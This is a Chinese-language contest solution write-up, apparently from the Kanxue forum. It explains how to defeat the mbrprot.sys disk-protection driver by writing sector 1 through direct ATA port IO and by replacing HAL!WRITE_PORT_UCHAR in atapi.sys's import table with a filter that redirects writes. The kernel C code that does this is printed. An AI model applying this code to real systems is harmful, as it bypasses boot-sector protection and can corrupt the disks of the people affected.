第一题解题报告
一、分析
刚开始我认为解这题的方法很简单,不管三七二十一直接io端口读写硬盘,然后解题完毕。压根不用管
mbrprot.sys 如何工作的,因为 mbrprot.sys 很难拦截 io 操作,难到几乎不可能。
代码写出来的时候我很高兴,因为在虚拟机(xp)上成功了,然而其实并没有,当我在真机子(2003)上运行时,失
败了...。这要批评一下mbrprot.sys 的稳定性了, mbrprot.sys 老是 无缘罢工,而且貌似在 xp 下有点问
题。走题了,不好意思...。
经我观察 mbrprot.sys 并没有保护 硬盘的 1 号扇区,而是一味的向 1 号 扇区写入 0 。用 softice 设
这样的断点 bpio 1f7 w 我发现(没弄错的话) mbrprot.sys 每隔一段时间(约5s)检查 1 号扇区。 同时
我也发现 系统只有 atapi.sys 访问了硬盘, 也就是说 mbrprot.sys 是利用 atapi.sys 访问硬盘的,并非直
接 io 之类的。 那么现在的任务就很清楚了:只要阻止 mbrprot.sys 往 01 号写入 0 就可以了 (出这道题的
用意也清楚了,嘿嘿 ) 。
怎么阻止 ? hook atapi.sys 的派遣函数吧 ,不过我第一时间想到的方法 说不定出题的人也早就想到
了... 。通过 跟踪断点 bpio 1f7 w ,我发现 atapi.sys 是通过 HAL!WRITE_PORT_UCHAR 向硬盘的寄存器写
数据的,如果 hook 掉 HAL!WRITE_PORT_UCHAR ,将 atapi.sys 向 硬盘写入的数据过滤掉,那么...
但这方法是否可行呢,不用理论证明,因为我已经实践证明了。通过 hook 掉 HAL!WRITE_PORT_UCHAR 向
atapi.sys 提供一个虚假的硬件,拦截向真实硬盘发送的数据。其实该方法之所以可行完全依赖于 当向硬盘写
入 扇区号,磁道号,磁头号 等等时 ,硬盘不会有任何反应,所以把这些数据拦截下来 延迟发送才不会出错
。
二、我的实现方法
由于在虚拟机上 mbrprot.sys 老是罢工,因此我只能在真机上进行了(不知道评委能不能看在 我蓝屏了
无数次,mbr被写坏了一次 的份上给俺多加几分呢...)。由于是在自己的机子上试,为了减小程序出错时的严
重性 我决定 只 hook atapi.sys 的 IAT(导入地址表),又因为 HAL!WRITE_PORT_UCHAR 这个函数本身就只有
几个指令,不用 hook 直接替换就可以了。
总的来说,程序只有两步:1、直接 io 向硬盘 01 扇区写入 数据;2、替换 atapi.sys IAT 中的 HAL!
WRITE_PORT_UCHAR 为自己的 write_port 。
三、关键代码 (write_port 的代码)
放血了,有点痛,评委加点分鼓励一下吧。
1、直接 io 向硬盘 01 扇区写入 数据 的代码 网上到处都有。
2、hook 驱动导入表的代码 ,rootkit.com 上有, 看雪里面也有人(sysnap)发过 ,我是学习了他的一部分
(发扬了大学生的借鉴风格)
3、write_port 完全原创 (如果要“借鉴”请申明以下出处:zdg102)
申明:write_port 完全没有考虑 lba48 的情况(本人没有 160G 的硬盘),lba48 下无法正常工作
#define REG_CMD_BASE0 0x1F0
#define REG_DATA 0 /*数据寄存器*/
#define REG_PRECOMP 1
#define REG_COUNT 2 /*扇区数*/
#define REG_SECTOR 3 /*扇区号 */
#define REG_CYL_LO 4 /* */
#define REG_CYL_HI 5 /* */
#define REG_LDH 6 /* */
#define CMD_WRITE 0x30 /* 写数据 */
#define CMD_WRITE_EXT 0x34 /**/
void out_b(uint port,uint v)
{//写端口函数
__asm{
mov edx,port;
mov eax,v;
out dx,al;
}
}
int send_cmd(unsigned char p[],unsigned char cmd,unsigned int mask)
/*向硬盘发送命令,
p 数组是个寄存器的内容,cmd 是命令,mask 说明 p 中那些内容是有效的。
*/
{
unsigned char i;
unsigned int j;
for(i = 1,j=0;(i&0xff)>0;i<<=1,j++)
{
if(mask & i)
out_b(REG_CMD_BASE0+j ,p[j]);
}
out_b(REG_CMD_BASE0 + REG_COMMAND, cmd);
return 1;
}
unsigned char at_rig[8]={0,0,0,0,0,0,0,0}; /*保存 atapi.sys 向硬盘写入的数据*/
unsigned int rig_mask = 0; /*保存 atapi.sys 向硬盘哪些寄存器写入了数据*/
void __stdcall write_port(unsigned int port,unsigned int value)
/* 用来替换 WRITE_PORT_UCHAR 的函数
*/
{
/*author: zdg102 */
port &=0xffff;
value &= 0xff;
/*判断要写入的端口是否在 硬盘的端口范围之内*/
if( port> REG_CMD_BASE0 && port <= REG_CMD_BASE0+ 7)
{
//判断是否是 控制命令
if(port == (REG_CMD_BASE0+REG_COMMAND))
{
// 判断是否是 写入命令
if(value == CMD_WRITE || value == CMD_WRITE_EXT || value == 0xca || value
== 0x35)
{
//判断 是否写入 01 号 扇区
if((at_rig[REG_CYL_HI] == 0)&& (at_rig[REG_CYL_LO] == 0) &&
(at_rig[REG_SECTOR] == 1) && ((at_rig[REG_LDH]&0x10) == 0))
{
at_rig[REG_SECTOR] = 2;
/*改为 2号 扇区,应该可以成一个不存在扇区,但我不敢在
自己机子上试 */
}
}
//向真实硬盘 发送命令
send_cmd(at_rig,value,rig_mask);
rig_mask = 0;
return ;
}
else
{
at_rig[port-REG_CMD_BASE0] = value;
if(port == (REG_CMD_BASE0 + REG_LDH) )
out_b(port,value);
else
rig_mask |= (1<<(port-REG_CMD_BASE0));
return ;
}
return ;
}
else
{
out_b(port,value);
return ;
}
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!